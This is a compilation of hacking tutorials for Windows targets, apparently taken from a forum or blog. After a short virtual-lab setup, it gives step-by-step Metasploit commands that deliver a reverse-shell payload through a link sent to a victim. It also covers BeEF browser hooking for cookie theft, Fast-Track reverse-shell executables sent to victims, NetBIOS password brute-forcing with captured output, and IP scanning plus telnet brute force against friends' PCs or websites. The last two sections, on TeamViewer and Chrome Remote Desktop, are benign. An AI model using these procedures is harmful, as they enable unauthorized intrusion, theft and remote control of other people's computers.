[TUT]Creating a penetration lab in windows

In last few posts i have tell u about the hacking windows using backtrack, but in all the posts i was not exploiting the real victims, i was just hacking my own OS installed on my system means i had created a penetration lab.

Whats a Penetration Lab consist of-->

1. Attacker OS(you may use backtrack,Backbox)

2. Victim OS(Win Xp or any other win)

Now i am gonna tell you how to create your own penetration lab by just following few steps.

Things you will need ---->

1. Virtual Box. Download it from here.

2. Bootable DVD of attacker or victim OS to installs OS's.

3. Brain.

Lets start------>

1. Install Virtual Box.

2. Now create two virtual machines name first as attacker and second as victim.Like i created in pic given below.

3. After creating both virtual machines install respective operating system in it. Like I am gonna install Backtrack as attacker OS and win xp as victim OS.

4. Now after installing all OS's the thing you have to do is creating network connection for both OS's for that you have to follow a simple procedure.

5. Right Click on any virtual machine from list and click settings and click on Network tab in left side and you will get network tab like I get in image.

6. As you see in image in Adaptor 1 tab Attached to is selected to NAT. Just change it to Host-Only Adaptor and click Ok like i do in image given below.

7. Do same as in step 6 for second OS.

Now you may start doing your exploitation work.

Note-->

Must keep same settings that i kept in step 6.

Plz comment if feel any query about this tutorial.

Hacking windows 7 using metasploit

Hey friends this D@rk TruTH. Today i am gonna show how to exploit windows xp and 7 using metasploit. Lets Start...

Things you will need ---->

1. Backtrack OS or Metsaploit.

2. A victim

3. Brain(important thing lol)

Lets start the shit ---->

1. Open terminal, type msfconsole and hit enter. Metsaploit will open like in image.

2. Now type use exploit/multi/browser/java_signed_applet and hit enter.

3. Type set payload windows/meterpreter/reverse_tcp and hit enter.

4. Type set lhost 223.185.18.74 (must change 223.185.18.74 with your ip address)

5. Now type set lport 443 and hit enter.

6. Now type set srvport 80 and hit enter.

7. Now type set uripath cybersucks and hit enter.(you may change cybersucks to your disired one)

8. At last type exploit and hit enter. See image below

9. Now send http://youripaddress:80/cybersucks to your victim.

10. Now when victim will open it he/she will be hacked.

11. Now see hacked sessions by typing sessions -l 

Hacking a Web-browser with beef

Browser Explotation Framework is mainly used to exploit a Web-browser.When i was trying it I play a varied types of pranks with victim browser like making open a pop-up window,playing a sound,stealing cookie etc. So lets start hacking.
Follow all the steps according to my post ======>


1. First install beef by clicking on Applications->Backtrack–>Exploitation Tools->Social Engineering Tools->BEEF XSS Framework->BeEF Installer.


2. Now when beef installs open beef by going to same directory like in 1st step then click on beef and beef will start connecting.

3. Now copy the open the url written in front of hook url like in image.

4. After opening the link u will see a login page just put username beef and password beef to login.


5. Now a window will open showing you beef control pannel,now the main explotation will start.


6. Now send this link  http://127.0.0.1:3000/demos/basic.html to victim.

7. Once victim will open you will be contected to his computer through his browser and you will see connected browsers at top left bottom under the Online browser tab like in image.


8. Click on any online browser in online browser tab and you will get a page with a full information of browser.

9. Then click on Commands tab to start open various exploits and tools.


10. Now use any of commands to making pranks with the victim.


Note;---> its for educational purpose only.
While doing all this dont close the terminal that will open as opening of beef.

Hacking a Computer using fastrack and backtrack

Hey friends i found a latest hack or way to hack into a computer which has a windows operating system.
Ok then lets start.Here are some requirments:-------->
1. Backtrack 
2. Ip address of victim.
3. Brain.
Now follow all the steps according to this post:--------------->
1. Open Fastrack by clicking on Applications-->Backtrack-->Exploitation tools-->Network exploitation tools-->Fast-Track-->fasttrack-interactive.

2. Now after opening fastrack select the option Payload generator by typing 8 and hitting enter.

3. Now after that type 1 to select Windows Shell Reverse_TCP and hit enter.

4. Now after that type 2 to select shikata_ga_nai and hit enter.

5. Now after that enter the ip address of victim and hit enter.
6. Now you have to scan ip address to get open ports refer to this article.

7. If you get any open ports then enter it like in image.
8. After that type 3 to select Executable and hit enter, this option will create a executable file in  directory filesystem-->pentest>exploit-->fasttrack-->payload.exe.
9. Now the send executable file to victim and when the victim open this file you will be connected to computer remotely. 


Note :--- Its for educational purpose

How to hack remote computer using Netbios

NetBIOS Attack Methods

This NetBIOS attack technique was verified on Windows 95, NT 4.0 Workstation, NT 4.0 Server, NT 5.0 beta 1 Workstation, NT 5.0 beta 1 Server, Windows 98 beta 2.1. One of the components being used is NAT.EXEA discussion of the tool, it switches, and common techniques follows:

NAT.EXE [-o filename] [-u userlist] [-p passlist] <address>

Switches:

-o Specify the output file. All results from the scan
will be written to the specified file, in addition
to standard output.
-u Specify the file to read usernames from. Usernames
will be read from the specified file when attempt-
ing to guess the password on the remote server.
Usernames should appear one per line in the speci-
fied file.
-p Specify the file to read passwords from. Passwords
will be read from the specified file when attempt-
ing to guess the password on the remote server.
Passwords should appear one per line in the speci-
fied file.
<address>
Addresses should be specified in comma deliminated
format, with no spaces. Valid address specifica-
tions include:
hostname - "hostname" is added
127.0.0.1-127.0.0.3, adds addresses 127.0.0.1
through 127.0.0.3
127.0.0.1-3, adds addresses 127.0.0.1 through
127.0.0.3
127.0.0.1-3,7,10-20, adds addresses 127.0.0.1
through 127.0.0.3, 127.0.0.7, 127.0.0.10 through
127.0.0.20.
hostname,127.0.0.1-3, adds "hostname" and 127.0.0.1
through 127.0.0.1
All combinations of hostnames and address ranges as
specified above are valid.

[8.0.1] Comparing NAT.EXE to Microsoft's own executables

[8.0.2] First, a look at NBTSTAT

First we look at the NBTSTAT command. This command was discussed in earlier portions of the book ( [5.0.6] The Nbtstat Command ). In this section, you will see a demonstration of how this tool is used and how it compares to other Microsoft tools and non Microsoft tools.

What follows is pretty much a step by step guide to using NBTSTAT as well as extra information. Again, if youre interested in more NBSTAT switches and functions, view the [5.0.6] The Nbtstat Command portion of the book.


C:\nbtstat -A XXX.XX.XXX.XX

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
STUDENT1 <20> UNIQUE Registered
STUDENT1 <00> UNIQUE Registered
DOMAIN1 <00> GROUP Registered
DOMAIN1 <1C> GROUP Registered
DOMAIN1 <1B> UNIQUE Registered
STUDENT1 <03> UNIQUE Registered
DOMAIN1 <1E> GROUP Registered
DOMAIN1 <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered

MAC Address = 00-C0-4F-C4-8C-9D

Here is a partial NetBIOS 16th bit listing:

Computername <00> UNIQUE workstation service name
<00> GROUP domain name
Server <20> UNIQUE Server Service name

Computername <03> UNIQUE Registered by the messenger service. This is the computername
to be added to the LMHOSTS file which is not necessary to use
NAT.EXE but is necessary if you would like to view the remote
computer in Network Neighborhood.
Username <03> Registered by the messenger service.
Domainname <1B> Registers the local computer as the master browser for the domain
Domainname <1C> Registers the computer as a domain controller for the domain
(PDC or BDC)
Domainname <1D> Registers the local client as the local segments master browser
for the domain
Domainname <1E> Registers as a Group NetBIOS Name
<BF> Network Monitor Name
<BE> Network Monitor Agent
<06> RAS Server
<1F> Net DDE
<21> RAS Client

[8.0.3] Intro to the NET commands

The NET command is a command that admins can execute through a dos window to show information about servers, networks, shares, and connections. It also has a number of command options that you can use to add user accounts and groups, change domain settings, and configure shares. In this section, you will learn about these NET commands, and you will also have the outline to a NET command Batch file that can be used as a primitive network security analysis tool. Before we continue on with the techniques, a discussion of the available options will come first:

[8.0.4] Net Accounts: This command shows current settings for password, logon limitations, and domain information. It also contains options for updating the User accounts database and modifying password and logon requirements.

[8.0.5] Net Computer: This adds or deletes computers from a domains database.

[8.0.6] Net Config Server or Net Config Workstation: Displays config info about the server service. When used without specifying Server or Workstation, the command displays a list of configurable services.

[8.0.7] Net Continue: Reactivates an NT service that was suspended by a NET PAUSE command.

[8.0.8] Net File: This command lists the open files on a server and has options for closing shared files and removing file locks.

[8.0.9] Net Group: This displays information about group names and has options you can use to add or modify global groups on servers.

[8.1.0] Net Help: Help with these commands

[8.1.1] Net Helpmsg message#: Get help with a particular net error or function message.

[8.1.2] Net Localgroup: Use this to list local groups on servers. You can also modify those groups.

[8.1.3] Net Name: This command shows the names of computers and users to which messages are sent on the computer.

[8.1.4] Net Pause: Use this command to suspend a certain NT service.

[8.1.5] Net Print: Displays print jobs and shared queues.

[8.1.6] Net Send: Use this command to send messages to other users, computers, or messaging names on the network.

[8.1.7] Net Session: Shows information about current sessions. Also has commands for disconnecting certain sessions.

[8.1.8] Net Share: Use this command to list information about all resources being shared on a computer. This command is also used to create network shares.

[8.1.9] Net Statistics Server or Workstation: Shows the statistics log.

[8.2.0] Net Stop: Stops NT services, cancelling any connections the service is using. Let it be known that stopping one service, may stop other services.

[8.2.1] Net Time: This command is used to display or set the time for a computer or domain.

[8.2.2] Net Use: This displays a list of connected computers and has options for connecting to and disconnecting from shared resources.

[8.2.3] Net User: This command will display a list of user accounts for the computer, and has options for creating a modifying those accounts.

[8.2.4] Net View: This command displays a list of resources being shared on a computer. Including netware servers.

[8.2.5] Special note on DOS and older Windows Machines: The commands listed above are available to Windows NT Servers and Workstation, DOS and older Windows clients have these NET commands available:

Net Config
Net Diag (runs the diagnostic program)
Net Help
Net Init (loads protocol and network adapter drivers.)
Net Logoff
Net Logon
Net Password (changes password)
Net Print
Net Start
Net Stop
Net Time
Net Use
Net Ver (displays the type and version of the network redirector)
Net View

For this section, the command being used is the NET VIEW and NET USE commands.

[8.2.6] Actual NET VIEW and NET USE Screen Captures during a hack.

C:\net view XXX.XX.XXX.XX

Shared resources at XXX.XX.XXX.XX

Share name Type Used as Comment

------------------------------------------------------------------------------
NETLOGON Disk Logon server share
Test Disk
The command completed successfully.

NOTE: The C$ ADMIN$ and IPC$ are hidden and are not shown.


C:\net use /?

The syntax of this command is:

NET USE [devicename | *] [\\computername\sharename[\volume] [password | *]]
[/USER:[domainname\]username]
[[/DELETE] | [/PERSISTENT:{YES | NO}]]

NET USE [devicename | *] [password | *]] [/HOME]

NET USE [/PERSISTENT:{YES | NO}]

C:\net use x: \\XXX.XX.XXX.XX\test

The command completed successfully.

C:\unzipped\nat10bin>net use

New connections will be remembered.

Status Local Remote Network

-------------------------------------------------------------------------------
OK X: \\XXX.XX.XXX.XX\test Microsoft Windows Network
OK \\XXX.XX.XXX.XX\test Microsoft Windows Network

The command completed successfully.

Here is an actual example of how the NAT.EXE program is used. The information listed here is an actual capture of the activity. The IP addresses have been changed to protect, well, us.

C:\nat -o output.txt -u userlist.txt -p passlist.txt XXX.XX.XX.XX-YYY.YY.YYY.YY


[*]--- Reading usernames from userlist.txt
[*]--- Reading passwords from passlist.txt

[*]--- Checking host: XXX.XX.XXX.XX
[*]--- Obtaining list of remote NetBIOS names

[*]--- Attempting to connect with name: *
[*]--- Unable to connect

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Mon Dec 01 07:44:34 1997
[*]--- Timezone is UTC-6.0
[*]--- Remote server wants us to encrypt, telling it not to

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password'
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password'

[*]--- Obtained server information:

Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]

[*]--- Obtained listing of shares:

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk: Remote Admin
C$ Disk: Default share
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
Test Disk:

[*]--- This machine has a browse list:

Server Comment
--------- -------
STUDENT1


[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$

[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$

[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON

[*]--- Attempting to access share: \\*SMBSERVER\Test
[*]--- WARNING: Able to access share: \\*SMBSERVER\Test
[*]--- Checking write access in: \\*SMBSERVER\Test
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test

[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access

If the default share of Everyone/Full Control is active, then you are done, the server is hacked. If not, keep playing. You will be surprised what you find out.

Entire control of a PC Remotely with Team Viewer

There's already a program that does this (comes with Windows), it is called Remote Desktop, but how many people know how to setup the router/ports/firewall necessary for it to work? To do all Introducing TeamViewer, the simplest software ever built for this purpose. (Free for personal/non-commercial use)

Some special features of TeamViewer

• If you choose 'File transfer' mode instead, you can access the other PC's files and download/upload files.
• Feel free to explore other hidden functions such as allowing the remote user to only view your screen but cannot control the mouse/keyboard. You could also set TeamViewer to ask for your confirmation before allowing any access to your PC.
• The password changes every time you restart TeamViewer, you may set a permanent password inside Settings.

HOW TEAM VIEWER WORKS

TeamViewer is an excellent screen-sharing and file-transfer app that can be used to facilitate business collaborations, remotely access a second computer, or help distraught relatives diagnose and cure computer problems. Along with being free for noncorporate use, it gives users precisely the tools they need to share screens securely, send files with a minimum of hassle, control access rights, and even flip which user has control.

The options available while you're in control work smoothly. You can maximize the pane that the other computer's screen is visible in, as well as utilize several smart options from a drop-down toolbar in the center of the window. A big X lets you close the connection, while the Actions button lets you switch whose in control, disable remote input, and reboot remotely. The View menu hides options to adjust the screen resolution, the optimization toward speed or quality, and control multiple-monitor displays. New features that works just as effortlessly as the old ones include VoIP audio and video conferencing, and integrated teleconferencing. These features push TeamViewer a notch above the rest because they will work without requiring firewall reconfiguration.

When you log in, you're given an access code and a password. Sharing those allows your computer to be controlled by the level you set it to: remote support, presentation, file transfer, or VPN. The TeamViewer servers remember which computers you've connected to, so reconnecting to previously shared computers happens faster. TeamViewer also has a Web-based version, for remote connecting to home from public computer. Even the installation process is impressive. Users can toggle admin rights, can opt out of running at startup, and can opt into installing the TeamViewer VPN driver for more secure screen sharing. TeamViewer makes screensharing and file-sharing as fluid and unobtrusive as it should be, and is a must-have for the home or remote office user.

TIPS TO OPEN TEAM VIEWER

1) Download and start TeamViewer on both PC, you don't even need to install it if you  don't want, just choose 'Run'.

2) In the next screen you'll see your ID and Password. Type in the other PC's ID as shown below, select 'Remote support' and click 'Connect to partner'.

3) Type in the password when prompted. You can now view and control the other PC!

How to hack remote computer using IP Address

Literally, hacking is accessing something or somebody in internetwithout their permission or interest. While, speaking in summary, hacking is very easy job, it is like instead of using front door, finding the hidden door of a house and hijacking the precious things. Among all the hacking, hacking via IP address is one of the most common yet powerful beginning.

You may want to hack the website and put your advertisement there or grab some database information In this type of hacking, you are playing with the web server’s computer instead of the administrator’s computer. Because, www.website.com is hosted in separate web server rather than personal computer.

Another can be accessing your friend’s computer from your home. Again this is IP based and this is possible only when your friend’s computer is online. If it is off or not connected to internet then remote IP hacking is totally impossible.

Well, both of the hacking has the same process. Let’s summarize what we must do.

1. Confirm the website or a computer you want to hack.
2. Find or trace their IP address.
3. Make sure that IP address is online
4. Scan for open ports
5. Check for venerable ports
6. access through the port
7. Brute-force username and password

Now let me describe in brief in merely basic steps that a child can understand it.

First, getting the IP address of victim.

To get the IP address of the victim website, ping for it in command prompt.

For example,

ping www.google.com

will fetch the IP address of Google.com

This is how we can get the IP address of the victims website.

How about your friend’s PC? You can’t do www.yourfirend’sname.com, can you? Finding your friend’s IP address is little tough job, and tougher it is if he has dynamic IP address that keeps changing.

One of the widely used method to detect IP address of your friend is by chatting with him.

Now you got the IP address right? Is it online?

To know the online status just ping the IP address, if it is online it will reply.

If the IP address is online, scan for the open ports. Open ports are like closed door without locks, you can go inside and outside easily.

Use Advanced Port Scanner to scan all open and venerable ports.

Now you’ve IP address and open port address of the victim, you can now use telnet to try to access them. Make sure that you’ve telnet enabled in your computer or install it from Control panel > Add remove programs > add windows components.

Now open command prompt and use telnet command to access to the IP address. Use following syntax for connection.

telnet [IP address] [Port]

You’ll be asked to input login information.

If you can guess the informations easily then it’s OK. Or you can use some brute-forcing tools like this one.

Remotely Access Another Computer Using Chrome

You can Download Chrome Remote Desktop extension from the Google Chrome Web Store. The addon will be automatically installed. If you leave the installation page open, you can launch the app right from that page.

HOW TO WORK WITH THIS APPLICATION
 

1. After installation goto the start page you can see the the application as shown below in your start page.

2. Click on the Chrome Remote app to open it and to see the window shown below.

3. Click continue and you will asked to allow access to your data. proceed with allowing access.

4. Then it will ask you whether you want to share your own computer to some other system or connect to a shared computer.

5. If you clicked share this computer, then it will generate automatic sharing code.

6. Just send this code to your partner to connect to your system as shown below.

7. Once connected you will see their desktop as seen below and can do whatever you like.

Thats it now you are connected to remote computer.If you found this article useful please pass your comments, all your feedbacks are precious.